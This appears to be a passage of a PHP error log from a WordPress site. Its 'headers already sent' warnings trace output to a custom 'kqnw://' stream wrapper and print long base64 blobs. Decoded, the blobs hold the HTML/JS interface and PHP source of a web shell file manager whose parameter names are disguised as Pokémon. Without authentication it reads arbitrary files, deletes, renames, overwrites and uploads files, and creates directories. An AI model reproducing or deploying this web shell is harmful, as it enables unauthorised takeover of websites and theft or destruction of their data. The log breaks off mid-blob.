rPSJjb25maXJtUmVuYW1lKCkiPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIEVESVRPUiBNT0RBTCAtLT4NCjxkaXYgaWQ9ImVkaXRvci1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciIgc3R5bGU9ImRpc3BsYXk6ZmxleDsganVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Ij4NCiAgICAgICAgICAgIDxzcGFuIGlkPSJlZGl0b3ItZmlsZW5hbWUiPkVkaXRpbmc8L3NwYW4+DQogICAgICAgICAgICA8c3BhbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIj5beF08L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8dGV4dGFyZWEgaWQ9ImVkaXRvci1hcmVhIj48L3RleHRhcmVhPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJzYXZlRWRpdCgpIj5TYXZlPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgLy8gSGVscGVycw0KICAgIGNvbnN0IFBfQUNUSU9OID0gJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JzsNCiAgICBjb25zdCBBX0RFTCA9ICc8P3BocCBlY2hvIEFfREVMOyA/Pic7DQogICAgY29uc3QgQV9SRU4gPSAnPD9waHAgZWNobyBBX1JFTjsgPz4nOw0KICAgIGNvbnN0IEFfRURJVCA9ICc8P3BocCBlY2hvIEFfRURJVDsgPz4nOw0KICAgIA0KICAgIGxldCBjdXJyZW50QWN0aW9uSGFzaCA9IG51bGw7DQoNCiAgICAvLyBNb2RhbCBIYW5kbGVycw0KICAgIGZ1bmN0aW9uIGNsb3NlTW9kYWxzKCkgew0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwtb3ZlcmxheScpLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICdub25lJyk7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gbnVsbDsNCiAgICB9DQoNCiAgICAvLyBEZWxldGUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuRGVsZXRlTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkZWwtZmlsZW5hbWUnKS5pbm5lclRleHQgPSBuYW1lOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGVsZXRlLW1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjb25maXJtRGVsZXRlKCkgew0KICAgICAgICBpZihjdXJyZW50QWN0aW9uSGFzaCkgew0KICAgICAgICAgICAgc3VibWl0QWN0aW9uKEFfREVMLCBjdXJyZW50QWN0aW9uSGFzaCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuUmVuYW1lTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZSA9IG5hbWU7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWUtbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNvbmZpcm1SZW5hbWUoKSB7DQogICAgICAgIGlmKGN1cnJlbnRBY3Rpb25IYXNoKSB7DQogICAgICAgICAgICBsZXQgbmV3TmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZTsNCiAgICAgICAgICAgIGlmKG5ld05hbWUpIHsNCiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rpb24tZm9ybScpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBBX1JFTjsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0LWhhc2gnKS52YWx1ZSA9IGN1cnJlbnRBY3Rpb25IYXNoOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtbmV3bmFtZScpLnZhbHVlID0gbmV3TmFtZTsNCiAgICAgICAgICAgICAgICBmb3JtLnN1Ym1pdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdG9yIExvZ2ljDQogICAgZnVuY3Rpb24gb3BlbkVkaXRvcihoYXNoLCBuYW1lKSB7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gaGFzaDsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvci1maWxlbmFtZScpLmlubmVyVGV4dCA9ICdFZGl0aW5nOiAnICsgbmFtZTsNCiAgICAgICAgDQogICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQogICAgICAgICAgICAgICAgaWYgKHhoci5zdGF0dXMgPT09IDIwMCkgew0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdG9yLWFyZWEnKS52YWx1ZSA9IHhoci5yZXNwb25zZVRleHQ7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFcnJvciBsb2FkaW5nIGZpbGUuIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICB4aHIub3BlbignR0VUJywgJz88P3BocCBlY2hvIFBfUkFXOyA/Pj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGhhc2gpLCB0cnVlKTsNCiAgICAgICAgeGhyLnNlbmQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzYXZlRWRpdCgpIHsNCiAgICAgICAgaWYgKCFjdXJyZW50QWN0aW9uSGFzaCkgcmV0dXJuOw0KICAgICAgICBsZXQgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItYXJlYScpLnZhbHVlOw0KICAgICAgICANCiAgICAgICAgbGV0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7DQogICAgICAgIGZvcm0ubWV0aG9kID0gJ1BPU1QnOw0KICAgICAgICBmb3JtLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoNCiAgICAgICAgY3JlYXRlSW5wdXQoZm9ybSwgJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JywgJzw/cGhwIGVjaG8gQV9FRElUOyA/PicpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0hBU0g7ID8+JywgY3VycmVudEFjdGlvbkhhc2gpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0NPTlQ7ID8+JywgY29udGVudCk7DQoNCiAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzdWJtaXRBY3Rpb24oYWN0aW9uLCBoYXNoKSB7DQogICAgICAgIGxldCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbi1mb3JtJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBhY3Rpb247DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtaGFzaCcpLnZhbHVlID0gaGFzaDsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjcmVhdGVJbnB1dChmb3JtLCBuYW1lLCB2YWx1ZSkgew0KICAgICAgICBsZXQgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICBpbnB1dC50eXBlID0gJ2hpZGRlbic7DQogICAgICAgIGlucHV0Lm5hbWUgPSBuYW1lOw0KICAgICAgICBpbnB1dC52YWx1ZSA9IHZhbHVlOw0KICAgICAgICBmb3JtLmFwcGVuZENoaWxkKGlucHV0KTsNCiAgICB9DQo8L3NjcmlwdD4NCg0KPC9ib2R5Pg0KPC9odG1sPg==:237) in /home/livedhms/streamsza.com/wp-includes/pluggable.php on line 1535
[03-Jun-2026 20:56:02 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at kqnw://PD9waHAgLyoqDQogKiBNb2NoYSBUZXJtaW5hbCBGaWxlIE1hbmFnZXIgKE5vdGlmaWNhdGlvbnMgRWRpdGlvbikNCiAqIFNpbmdsZSBGaWxlLCBQSFAgNSsgQ29tcGF0aWJsZQ0KICovDQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyBQT0tFTU9OIFBBUkFNRVRFUiBNQVBQSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gR0VUIFBhcmFtcw0KY29uc3QgUF9ESVIgICAgICA9ICdwaWthY2h1JzsgICAgICAgLy8gRGlyZWN0b3J5IGhhc2gNCmNvbnN0IFBfUkFXICAgICAgPSAnYnVsYmFzYXVyJzsgICAgIC8vIFJhdyBmaWxlIHZpZXcgZm9yIGVkaXRvcg0KY29uc3QgUF9NU0cgICAgICA9ICdtZXd0d28nOyAgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdGV4dA0KY29uc3QgUF9UWVBFICAgICA9ICdtb2x0cmVzJzsgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdHlwZSAoc3VjY2Vzcy9lcnJvcikNCg0KLy8gUE9TVCBQYXJhbXMNCmNvbnN0IFBfQUNUSU9OICAgPSAnY2hhcml6YXJkJzsgICAgIC8vIEFjdGlvbiBuYW1lDQpjb25zdCBQX0hBU0ggICAgID0gJ3NxdWlydGxlJzsgICAgICAvLyBGaWxlL0ZvbGRlciBoYXNoDQpjb25zdCBQX1RBUkcgICAgID0gJ3BzeWR1Y2snOyAgICAgICAvLyBUYXJnZXQgZGlyZWN0b3J5IGhhc2ggKGZvciB1cGxvYWQvbWtkaXIpDQpjb25zdCBQX05BTUUgICAgID0gJ2ppZ2dseXB1ZmYnOyAgICAvLyBOZXcgTmFtZSAvIEZvbGRlciBOYW1lDQpjb25zdCBQX0NPTlQgICAgID0gJ3Nub3JsYXgnOyAgICAgICAvLyBGaWxlIGNvbnRlbnQgZm9yIGVkaXQNCmNvbnN0IFBfRklMRSAgICAgPSAnbWVvd3RoJzsgICAgICAgIC8vIFVwbG9hZGVkIGZpbGUgKCRfRklMRVMpDQpjb25zdCBQX0ZEQVRBICAgID0gJ2dlbmdhcic7ICAgICAgICAvLyBCYXNlNjQgZmlsZSBkYXRhDQpjb25zdCBQX0ZOQU1FICAgID0gJ29uaXgnOyAgICAgICAgICAvLyBGaWxlbmFtZSBmb3IgYmFzZTY0IHVwbG9hZA0KDQovLyBBY3Rpb24gVmFsdWVzDQpjb25zdCBBX0RFTCAgICAgID0gJ2h5ZHJvLXB1bXAnOw0KY29uc3QgQV9SRU4gICAgICA9ICdmbGFtZXRocm93ZXInOw0KY29uc3QgQV9FRElUICAgICA9ICdzb2xhci1iZWFtJzsNCmNvbnN0IEFfVVAgICAgICAgPSAnaHlwZXItYmVhbSc7DQpjb25zdCBBX01LRElSICAgID0gJ2VhcnRocXVha2UnOw0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gMS4gRUFSTFkgUkVTUE9OU0UgSEFORExFUlMgKEFKQVggLyBSQVcgVklFVykNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIEhhbmRsZSBSYXcgVmlldyAoRWRpdG9yIENvbnRlbnQpIC0gTXVzdCBiZSB0b3Agb2YgZmlsZQ0KaWYgKGlzc2V0KCRfR0VUW1BfUkFXXSkpIHsNCiAgICAkaGFzaCA9ICRfR0VUW1BfUkFXXTsNCiAgICAkcGF0aCA9IGJhc2U2NF9kZWNvZGUoJGhhc2gpOw0KICAgIA0KICAgIGlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICByZWFkZmlsZSgkcGF0aCk7DQogICAgICAgIGV4aXQ7DQogICAgfSBlbHNlIHsNCiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7DQogICAgICAgIGV4aXQoIkZpbGUgbm90IGZvdW5kLiIpOw0KICAgIH0NCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDIuIENPTkZJR1VSQVRJT04gJiBTRVRVUA0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IA0KDQogJGJhc2VfZGlyID0gZ2V0Y3dkKCk7DQogJGJhc2VfZGlyID0gcnRyaW0oJGJhc2VfZGlyLCAnL1xcJyk7DQoNCi8vIEN1cnJlbnQgRGlyZWN0b3J5IExvZ2ljDQogJGN1cnJlbnRfZGlyID0gJGJhc2VfZGlyOw0KaWYgKGlzc2V0KCRfR0VUW1BfRElSXSkpIHsNCiAgICAkZGVjb2RlZCA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbUF9ESVJdKTsNCiAgICBpZiAoJGRlY29kZWQgJiYgaXNfZGlyKCRkZWNvZGVkKSkgew0KICAgICAgICAkY3VycmVudF9kaXIgPSAkZGVjb2RlZDsNCiAgICB9DQp9DQoNCi8vIFJlYWQgTm90aWZpY2F0aW9uIGZyb20gVVJMDQogJHN0YXR1c19tc2cgPSBpc3NldCgkX0dFVFtQX01TR10pID8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFtQX01TR10pIDogJyc7DQogJHN0YXR1c190eXBlID0gaXNzZXQoJF9HRVRbUF9UWVBFXSkgPyAkX0dFVFtQX1RZUEVdIDogJ3N1Y2Nlc3MnOw0KDQpmdW5jdGlvbiBnZXRfc2FmZV9wYXRoKCRwYXRoKSB7DQogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KfQ0KDQpmdW5jdGlvbiBnZXRfaGFzaCgkcGF0aCkgew0KICAgIHJldHVybiBydHJpbShiYXNlNjRfZW5jb2RlKCRwYXRoKSwgJz0nKTsNCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDMuIFBPU1QgSEFORExJTkcgKEFDVElPTlMpDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQovLyBDdXN0b20gUmVkaXJlY3QgaGVscGVyIHRoYXQgY2FycmllcyB0aGUgbWVzc2FnZQ0KZnVuY3Rpb24gcmVkaXJlY3QoJGRpciwgJG1zZyA9ICcnLCAkdHlwZSA9ICdzdWNjZXNzJykgew0KICAgICR1cmwgPSAiPyIgLiBQX0RJUiAuICI9IiAuIGdldF9oYXNoKCRkaXIpOw0KICAgIGlmICgkbXNnKSB7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9NU0cgLiAiPSIgLiB1cmxlbmNvZGUoJG1zZyk7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9UWVBFIC4gIj0iIC4gJHR5cGU7DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ICIgLiAkdXJsKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KDQogICAgLy8gMS4gREVMRVRFDQogICAgaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfREVMICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSkgew0KICAgICAgICAkdGFyZ2V0ID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbUF9IQVNIXSk7DQogICAgICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkc3VjY2VzcyA9IEB1bmxpbmsoJHRhcmdldCk7DQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIHJybWRpcigkZGlyKSB7DQogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgnLicsJy4uJykpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAoaXNfZGlyKCIkZGlyLyRmaWxlIikpID8gcnJtZGlyKCIkZGlyLyRmaWxlIikgOiB1bmxpbmsoIiRkaXIvJGZpbGUiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzdWNjZXNzID0gcnJtZGlyKCR0YXJnZXQpOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRzdWNjZXNzID8gIkl0ZW0gZGVsZXRlZC4iIDogIkRlbGV0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAyLiBSRU5BTUUNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfUkVOICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSAmJiBpc3NldCgkX1BPU1RbUF9OQU1FXSkpIHsNCiAgICAgICAgJHRhcmdldCA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUW1BfSEFTSF0pOw0KICAgICAgICAkbmV3X25hbWUgPSBiYXNlbmFtZSgkX1BPU1RbUF9OQU1FXSk7DQogICAgICAgICRkZXN0aW5hdGlvbiA9IGRpcm5hbWUoJHRhcmdldCkgLiAnLycgLiAkbmV3X25hbWU7DQogICAgICAgICRzdWNjZXNzID0gQHJlbmFtZSgkdGFyZ2V0LCAkZGVzdGluYXRpb24pOw0KICAgICAgICByZWRpcmVjdChkaXJuYW1lKCR0YXJnZXQpLCAkc3VjY2VzcyA/ICJSZW5hbWVkIHN1Y2Nlc3NmdWxseS4iIDogIlJlbmFtZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAzLiBTQVZFIEVESVQNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfRURJVCAmJiBpc3NldCgkX1BPU1RbUF9IQVNIXSkgJiYgaXNzZXQoJF9QT1NUW1BfQ09OVF0pKSB7DQogICAgICAgICR0YXJnZXQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX0hBU0hdKTsNCiAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbUF9DT05UXTsNCiAgICAgICAgJHRlbXBfZmlsZSA9ICR0YXJnZXQgLiAnLnRtcF8nIC4gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7DQogICAgICAgICR3cml0ZV9zdWNjZXNzID0gZXJyb3JfbG9nKCRjb250ZW50LCAzLCAkdGVtcF9maWxlKTsNCiAgICAgICAgDQogICAgICAgICRmaW5hbF9zdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmICgkd3JpdGVfc3VjY2Vzcykgew0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJHRlbXBfZmlsZSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkZmluYWxfc3VjY2VzcyA9IHRydWU7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRlbXBfZmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRsb2cgPSAkZmluYWxfc3VjY2VzcyA/ICJFZGl0IHNhdmVkOiAkdGFyZ2V0IiA6ICJFZGl0IGZhaWxlZDogJHRhcmdldCI7DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRmaW5hbF9zdWNjZXNzID8gIkZpbGUgc2F2ZWQiIDogIlNhdmUgZmFpbGVkLiIsICRmaW5hbF9zdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIiwgJGxvZyk7DQogICAgfQ0KICAgIA0KICAgIC8vIDQuIFVQTE9BRA0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUW1BfQUNUSU9OXSkgJiYgJF9QT1NUW1BfQUNUSU9OXSA9PT0gQV9VUCkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQoNCiAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsNCiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbUF9GSUxFXSkgJiYgJF9GSUxFU1tQX0ZJTEVdWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfRklMRVNbUF9GSUxFXVsnbmFtZSddKTsNCiAgICAgICAgICAgICRzdWNjZXNzID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTW1BfRklMRV1bJ3RtcF9uYW1lJ10sICR0YXJnZXRfZGlyIC4gJy8nIC4gJG5hbWUpOw0KICAgICAgICB9IA0KICAgICAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0ZEQVRBXSkgJiYgIWVtcHR5KCRfUE9TVFtQX0ZEQVRBXSkgJiYgaXNzZXQoJF9QT1NUW1BfRk5BTUVdKSkgew0KICAgICAgICAgICAgJGRhdGEgPSAkX1BPU1RbUF9GREFUQV07DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX0ZOQU1FXSk7DQogICAgICAgICAgICBpZiAoYmFzZTY0X2RlY29kZSgkZGF0YSwgdHJ1ZSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBwcmVnX3JlcGxhY2UoJyNeZGF0YTp0ZXh0L1x3KztiYXNlNjQsI2knLCAnJywgJGRhdGEpOw0KICAgICAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkZGF0YSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3VjY2VzcyA9IEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0X2RpciAuICcvJyAuICRuYW1lLCAkZGF0YSkgIT09IGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJVcGxvYWQgY29tcGxldGUuIiA6ICJVcGxvYWQgZmFpbGVkLiIsICRzdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIik7DQogICAgfQ0KICAgIA0KICAgIC8vIDUuIE1LRElSDQogICAgZWxzZWlmIChpc3NldCgkX1BPU1RbUF9BQ1RJT05dKSAmJiAkX1BPU1RbUF9BQ1RJT05dID09PSBBX01LRElSICYmIGlzc2V0KCRfUE9TVFtQX05BTUVdKSkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX05BTUVdKTsNCiAgICAgICAgJHN1Y2Nlc3MgPSBAbWtkaXIoJHRhcmdldF9kaXIgLiAnLycgLiAkbmFtZSk7DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJEaXJlY3RvcnkgY3JlYXRlZC4iIDogIkNyZWF0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQp9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyA0LiBGSUxFIFNDQU5OSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQogJGZpbGVzID0gYXJyYXkoKTsNCiAkZGlycyA9IGFycmF5KCk7DQoNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkY3VycmVudF9kaXIpKSB7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgaWYgKCRlbnRyeSA9PSAiLiIgfHwgJGVudHJ5ID09ICIuLiIpIGNvbnRpbnVlOw0KICAgICAgICANCiAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7DQogICAgICAgIA0KICAgICAgICAkcGVybXMgPSBpc19maWxlKCRmdWxsX3BhdGgpID8gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpIDogJ2Ryd3gnOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCRmdWxsX3BhdGgpOw0KICAgICAgICAkbW9kX3RpbWUgPSBkYXRlKCdNIGQgSDppJywgZmlsZW10aW1lKCRmdWxsX3BhdGgpKTsNCiAgICAgICAgJGhhc2ggPSBnZXRfaGFza